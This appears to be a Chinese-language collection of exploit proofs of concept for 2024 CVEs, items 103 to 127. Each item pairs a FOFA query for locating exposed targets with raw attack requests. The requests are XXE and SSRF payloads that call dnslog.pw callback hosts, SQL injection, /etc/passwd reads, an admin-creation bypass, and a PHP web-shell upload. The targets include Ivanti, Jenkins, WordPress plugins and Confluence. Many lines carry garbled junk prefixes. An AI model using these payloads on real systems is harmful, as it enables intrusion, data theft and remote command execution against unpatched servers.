<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
6 k7 m3 |3 \0 ~& C& GCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
: S. D! J# |4 U( Y9 p- `# Q9 RPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
. ?( L/ w6 M" R9 V# L% |Host: 192.168.40.130:111
+ l! o% ~1 z* Q$ Q  X$ E7 ?User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
# m% H% Z5 U3 y! SConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
) C1 ~9 i" k) B! i/ h
$ }4 b- i1 I2 ]3 e2 KSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

1 P  T* U  E: G
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

. k' P7 D' a/ e2 z( N8 r$ r
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. R. e& S+ |+ F9 A4 q" UCVE-2024-0569
FOFA：title="TOTOLINK"
# P+ o: @( F( Y3 I) J5 z0 vPOST /cgi-bin/cstecgi.cgi HTTP/1.1
1 Q5 l7 ~8 N2 O0 f: a, q9 I9 ?Host:192.168.0.1
; J0 m* ~" c; jContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
; s! `/ G6 K% ?; oContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
0 C; S% C& o( _8 P7 n3 V0 s* v3 s* WAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
+ m3 o/ p, J1 d' F, f/ a
' l' h- `9 _& {" L{
9 m- j/ I; Y1 ^. U- c/ Q"topicurl":"getSysStatusCfg",
"token":""
}

6 g- r5 z( w0 b6 L5 z! Q' p- f& n105. SpringBlade v3.2.0 export-user SQL 注入
) A4 {; r. k+ |4 t/ MFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

/ k8 o5 ], u2 [/ a' W2 ?( a( Q4 Z106. SpringBlade dict-biz/list SQL 注入
1 L0 C0 l8 z' `0 K) [* iFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
$ V. W' A  b2 ?7 a3 m6 ?) rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
$ k* r# k9 d" }/ [6 eAccept-Language: zh-CN,zh;q=0.9
Connection: close


. |7 X+ I. Q( a5 U  {107. SpringBlade tenant/list SQL 注入
7 ~  R0 Q& q$ d9 I& EFOFA：body="https://bladex.vip"
9 q) Y4 s; T6 X  vGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' ~& t! E5 g5 Q. ~Host: your-ip
3 c( L+ n) P% p5 [" V: C+ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( |" m1 X) R1 ^Blade-Auth:替换为自己的
Connection: close
3 B  x$ q$ a5 Z8 k8 P: o2 }* c' k
% l5 n, Z0 m/ T( _4 v4 q, |
108. D-Tale 3.9.0 SSRF
7 W+ |: U  M2 o9 p" LCVE-2024-21642
. z1 M/ y. E: l* UFOFA："dtale/static/images/favicon.png"
% e2 D! i1 \. h% W3 m) ?  NGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
: O6 k  i/ e% r% w+ gAccept: application/json, text/plain, */*
) a+ P) z% m8 y7 a* [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
$ C1 q, x- S' v4 _+ Z3 K6 A8 f$ cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
" I5 Y2 L1 M  X; d4 SConnection: close
6 V! v$ i) {- e9 v% ^; E

* _" f0 w2 F* O4 E  D109. Jenkins CLI 任意文件读取
4 ]! S6 M1 N' ]7 @& u) I+ X! b* VCVE-2024-23897
FOFA：header="X-Jenkins"
5 D: @0 Q8 u5 B! H: d% yPOST /cli?remoting=false HTTP/1.1
Host:
7 b/ {; |9 x; M4 B% \' `Content-type: application/octet-stream
' o4 n! w: `( h# [1 M/ j9 \! J/ o6 CSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
- [' v( W2 P- G4 \: OSide: upload
" b9 A- ?' I2 U% a- n- {Connection: keep-alive
$ p% S4 {  L+ ^! d8 ^, |! QContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


$ O- K. }6 Q! W% u0 o# Q0 k; U5 [! MPOST /cli?remoting=false HTTP/1.1
0 S/ c- d8 d8 S& V! W: UHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; R. o. M' j" udownload
7 n9 i2 g: K) z, v  UContent-Type: application/x-www-form-urlencoded
; [) ^0 y& T5 C0 MContent-Length: 0
. O6 V  I1 B# }1 c

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$ }6 R6 r$ t' u4 A* ^5 H7 f6 Mjava -jar jenkins-cli.jar help
9 Z! f, w! G7 g9 x[COMMAND]
  n" N  k$ R" a9 ^% G5 {1 ELists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

" `- F; F9 p) N2 l
2 \7 a5 z( A7 M) H  M6 [$ d1 u110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
* [& |0 ^0 ]$ Z# |FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
1 t- w: a- ^) _7 s5 m7 w' iGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
2 W0 B5 j& F) \" d  m& x/ GAccept-Language: en
Accept-Encoding: gzip
0 d0 q' j- Q. P0 ?
8 V! r- H" \) R* b
$ K  q' V7 B7 K0 i" c1 [111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 c. T$ K# _# F* r" C# v( ?$ u' \Connection: close
+ g/ \& a4 q. N% {- @: @Accept: */*
& ]6 E9 \3 P, F. R6 JAccept-Language: en
Accept-Encoding: gzip
; O0 x: D2 X- v0 K# |, M+ A/ g- H

9 A+ {3 x1 W0 c9 ?112. WordPress Plugin NotificationX SQL 注入
) N+ |' ?3 l* q: Y; I: iCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
  X/ V* \# p2 I$ V, x4 o% f# ?! BPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

; x& `2 `. R+ |; _" {. l' N# [9 h{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
! L4 y7 \7 i& K/ x4 F

8 W6 K- }+ L' W5 w' K. T113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
& U: r0 N  _3 P9 lFOFA："/wp-content/plugins/wp-automatic"
( m. K( h7 m* R5 }3 m# e+ _GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: M: B+ ~5 a2 H+ J& HConnection: close
- O, C* Y& E; A1 \  n$ }' R" Q, wAccept: */*
Accept-Language: en
Accept-Encoding: gzip
! b: b; A( i8 U9 O

$ u7 r+ `8 Z; z) C! P8 t. c114. WordPress MasterStudy LMS插件 SQL注入
6 {; @  P3 l+ A9 {" T6 \FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
) j) b, x* \) k' I& F0 ~0 YHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
, _7 V8 N0 Q, Y& y$ qAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 e5 a$ C* o( k/ o4 W6 VConnection: close
% B  C  p. F2 |& H1 e
& n6 O7 Q% e4 r% G! G
, c( X1 A, F* \1 v* x115. WordPress Bricks Builder <= 1.9.6 RCE
- K2 b! O7 z$ N# B( xCVE-2024-25600
3 @2 |) N3 F1 ?FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
1 J) J. x! i0 _6 AUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
$ X; j$ O9 Z; Y- ^! {Connection: close
2 N  L, _+ X' J! L/ IAccept-Encoding: gzip


0 E' O: O1 u$ T1 z: W. j- ^第二步替换nonce值，执行命令
5 _- `( h( o# y: z& ?: _POST /wp-json/bricks/v1/render_element HTTP/1.1
! ?; X8 H# P7 n$ AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
( V$ k  O0 N+ Q0 s* Y8 tAccept-Encoding: gzip

+ e! f* H2 }. O# C4 N7 {& v) t{
& g* ]5 N2 d+ y( a4 w"postId": "1",
  "nonce": "第一步获得的值",
" y. Z, U3 t0 |7 ]0 H9 Q5 \" d+ s  "element": {
0 X3 z4 o; W. ]$ K" v    "name": "container",
8 e/ u7 O* J2 }* Y    "settings": {
/ k' ~0 \: h$ ]& T7 q3 n) _, y      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
  S4 h) T3 ^- Q  m1 a7 J/ O/ w        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
0 ]9 _5 W) L1 W! K6 l. @. H8 t        "objectType": "post"
0 Z4 Z) M9 u5 _! z9 f- b; y' v6 q      }
    }
  }
}
% p4 Q* Z" T5 s; d' V

: Q4 ~. a: x6 l! @116. wordpress js-support-ticket文件上传
) i# K1 s; e2 W0 [4 `2 q4 LFOFA：body="wp-content/plugins/js-support-ticket"
2 ]' x' {: _: L! }POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
4 I+ ~9 A  x! J; JHost:
# `, m  m/ d9 ?! k0 h7 IContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
7 u2 P: F, [5 z
4 l" \  p; u. E----------767099171
Content-Disposition: form-data; name="action"
  ?+ R+ \  _$ v) G5 o. u% T9 U* mconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
2 x$ T7 k5 g% JContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
* @$ n: F# O0 @4 G) `Content-Type: image/png
----------767099171--


' ]& b- Z. G& E117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
& k- o# D) ^$ p* {; g* d3 Z1 ~FOFA：body="/wp-content/plugins/LayerSlider/"
1 l0 u) S3 T* ?2 ?! V9 UGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
7 e! O: W; l3 J: H- ?Host: your-ip
- r- ~" f- |% S4 R8 H- h; jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  r' _2 G9 d2 ?1 Q, |' B5 @! J0 LConnection: close
/ W) U% c- x+ O9 o' nUpgrade-Insecure-Requests: 1

( i& u3 C, N$ ]% G
# Y4 b7 D: d- U$ f/ o7 Z1 [) N3 d9 K; u118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
5 u3 A9 \( z& X; t7 KHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
1 c0 c3 {# g; p% ^' i: e) dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
, k5 Y: g& O1 K( w) ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 N  v9 g3 _$ B" HContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
- F/ K* y4 D9 Z8 }+ B% X* gOrigin: https://192.168.40.130:8443
* U. v- V& u* O8 y# ]2 SReferer: https://192.168.40.130:8443/Tool/uploadfile.php
" [- I4 C) |0 z; h2 J! R) LUpgrade-Insecure-Requests: 1
' _/ P  V" }) l" o2 pSec-Fetch-Dest: document
) J7 p2 {. M' \; j# j% C4 D3 z2 ISec-Fetch-Mode: navigate
. p; C& m7 P0 u. @0 k- F7 }Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
& i, A2 o# S2 Y7 ^* ?, WTe: trailers
Connection: close
- J  _$ l' O( S7 ]
$ e! {1 U  F" x/ I; O# ^-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
# z( ^( ~8 A# R% I1 J  }6 b
<?php
system($_POST["passwd"]);
?>
+ R) q8 Y/ Z" w1 \5 d  j-----------------------------13979701222747646634037182887
5 s$ H" \% K8 e) G1 t4 u3 Y) eContent-Disposition: form-data; name="txt_path"

* Q, E7 V( \' g% R4 v! r/home/src.php
-----------------------------13979701222747646634037182887--


' V  o, B8 Z2 G1 ?# o访问/home/src.php
2 V% b- s7 K' ^6 Y! ~% d  B
1 C  n) X' ^$ f3 x5 E; c6 U: E119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
: ^, j& Z' a0 k/ n2 m: VFOFA：title="Smart管理平台"
8 n& S) h# O2 [& a$ c# {/ A先登录进入系统，默认账号密码为admin/admin
1 H" W+ P1 x- b8 _POST /sysmanage/sysmanageajax.php HTTP/1.11
& K' K0 }$ J/ k! ~Host: x.x.x.x
2 u$ U( P) z) ACookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
% b4 P% B! s0 S# u% ?7 x" ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
, e% k  R9 q* [+ S8 W( MAccept: */*
8 n/ p9 X/ S. J) KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  {7 G4 r' V1 i/ l8 ZContent-Type: application/x-www-form-urlencoded;
1 }/ C8 G7 x6 ]) q2 S* hContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
0 D  f$ I# w% S+ f: |: lSec-Fetch-Dest: empty
$ s( ^( a* }3 t$ l; h! H* `) XSec-Fetch-Mode: cors
: O( d- S9 M: E" e8 o% @Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
* C/ a  ^+ W/ j; B/ lX-Remote-Ip: 1.1.1.1
9 `3 b& H4 B& U% k( G% d' iX-Remote-Addr: 1.1.1.1
Te: trailers
4 _7 U# J# D6 f7 xConnection: close
% Y' r/ l6 l& v  h, J, o
: }/ e! e8 P3 vsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
2 l3 ]9 @; j) |. Z2 k% mPOST /useratte/web.php? HTTP/1.1
& x0 x9 q( x) L, D2 E9 UHost: ip:port
5 v  c6 _  Y7 zCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
$ y* u+ z; h( n0 g( Q5 X9 ?$ P. _% KUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 `0 I6 r/ F, Y. I, EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 \1 q; z2 _0 B( a9 T" f+ YAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
" i/ i% {! o( kReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
$ D8 i7 y( n$ J; d" n/ @Sec-Fetch-Dest: document
( E; z8 m# B. ~/ e6 {Sec-Fetch-Mode: navigate
% O: k0 n) x# T; _, L+ N% BSec-Fetch-Site: same-origin
7 p$ D0 G/ y" s5 ^$ v; q$ eSec-Fetch-User: ?1
Te: trailers
& W, r6 M5 r$ K3 k# q0 ~, ~# B9 l$ fConnection: close

( r& O9 Q' ~9 J3 }' J  G) I2 E) W-----------------------------42328904123665875270630079328
- p3 y! ^) Q/ M8 h; a* Z+ MContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
9 U3 u8 z, D# u! mContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
# K# }2 }# I$ R8 j& V-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
7 s* K; i$ r, T* k( l
import
  L* ?- [) _- F! U8 O-----------------------------42328904123665875270630079328
  A* X% n+ E' x

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
$ `) ]+ l/ Y2 w! ]7 _  nCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
, c/ h( Y5 p0 E; Z7 {, rUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 K6 K6 G6 T% w. n: RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
( y5 E. \6 x' H! `/ O6 e5 R( }Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
; s$ C, r, a* I% KSec-Fetch-User: ?1
Te: trailers
1 V' t' n- x2 }4 o/ e) K% ?; s7 EConnection: close
4 A/ y, F9 @0 h# @' a5 \
-----------------------------42328904123665875270630079328
/ W. y; l( u, UContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
) L2 ?8 V! c1 U0 |5 Z-----------------------------42328904123665875270630079328
9 K( L# v% t+ K. QContent-Disposition: form-data; name="id_type"

  g% T- }7 h& t) G: d1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
8 }7 p: ]% S1 ?6 Y. \7 w% HContent-Disposition: form-data; name="hidwel"

3 v. B1 p/ {2 V$ z4 P5 A& Iset
-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php

& S' ^* N  O( i7 \) u' B6 |122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
. i7 G" S4 o& U9 n0 aGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
7 [$ D, i7 v* z1 ]$ b* U( E) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; I4 e% h4 k* \# @2 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" G% X8 S( G; C1 w2 _  m! E. EUpgrade-Insecure-Requests: 1
/ `$ \% Z" W- T+ ]- A3 Q2 i; L0 w* l3 OSec-Fetch-Dest: document
6 b: t. g$ V. lSec-Fetch-Mode: navigate
6 |' T9 N: S& R3 gSec-Fetch-Site: none
4 I$ `* L% u6 w6 b$ _4 A' e- h  l/ GSec-Fetch-User: ?1
! h6 G8 _. {; g0 nTe: trailers
- h+ `: J5 C% W3 g+ AConnection: close
3 i$ c( V, B, A- _; J; _
5 ?2 Q, p  Z2 }" ^& a
7 \9 E2 [# L4 q) Z* ?& k/ @123. Atlassian Confluence 模板注入代码执行
! w" t6 l0 e  P* @& v& FFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
% _& [! O5 E% \) ^) r* M; RPOST /template/aui/text-inline.vm HTTP/1.1
. u* S- J9 n1 O7 j1 ~( qHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
: J% Y8 }1 h+ H5 J( \' U2 U' |5 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
! ~7 l1 [: f9 B) Y  P( nContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


& J+ c! y2 X5 R" ~1 V! a  x124. 湖南建研工程质量检测系统任意文件上传
; V6 a' S" K3 p- WFOFA：body="/Content/Theme/Standard/webSite/login.css"
, _% d" x8 M; }2 K5 ~' RPOST /Scripts/admintool?type=updatefile HTTP/1.1
8 m7 h! G% a4 O5 b8 iHost: 192.168.40.130:8282
* O0 q% o9 Z. z, o5 J' \User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
5 Y6 m2 a$ H2 ^& w) F2 ]8 [Content-Length: 72
3 y. w% b3 a* f* G. LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
4 E6 W8 p" E' _& lAccept-Encoding: gzip, deflate, br
8 u, {  {/ P. G. h+ C9 i/ uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
0 E% m. f3 X* X) @* d3 t- K
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 ~* P. b* c% ]" V% H7 v# ^
* m3 r% n2 B$ @/ l3 n
http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
+ J& F( X7 F7 j- |; N2 z7 V

使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
0 f: F8 [: n0 L7 X3 `  S- v
! s. _) b! T" I0 f6 d3 u
创建好用户后直接登录后台，可以执行系统命令。
' H7 x2 p0 v* N" C
126. Aiohttp 路径遍历
" z. J* P6 h  V+ r9 u) q0 mFOFA：title=="ComfyUI"
8 R5 N  k3 W' V3 ~; `+ L5 mGET /static/../../../../../etc/passwd HTTP/1.1
  ?( e1 v! W0 C" ~- m) K$ [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' h, [3 y  {6 `# @8 q; m$ yConnection: close
Accept: */*
Accept-Language: en
; O7 {% V  W% \. M: k( H+ hAccept-Encoding: gzip
# ^7 X) @# N+ |' I- v& c

" \9 j% t7 F& _3 |7 S: Q127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
0 ^; Z8 S$ M0 {8 d5 YHost: 192.168.40.130:8888
5 f& \' ^" I4 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 E; O4 Q8 a# I  X1 @Accept-Encoding: gzip, deflate
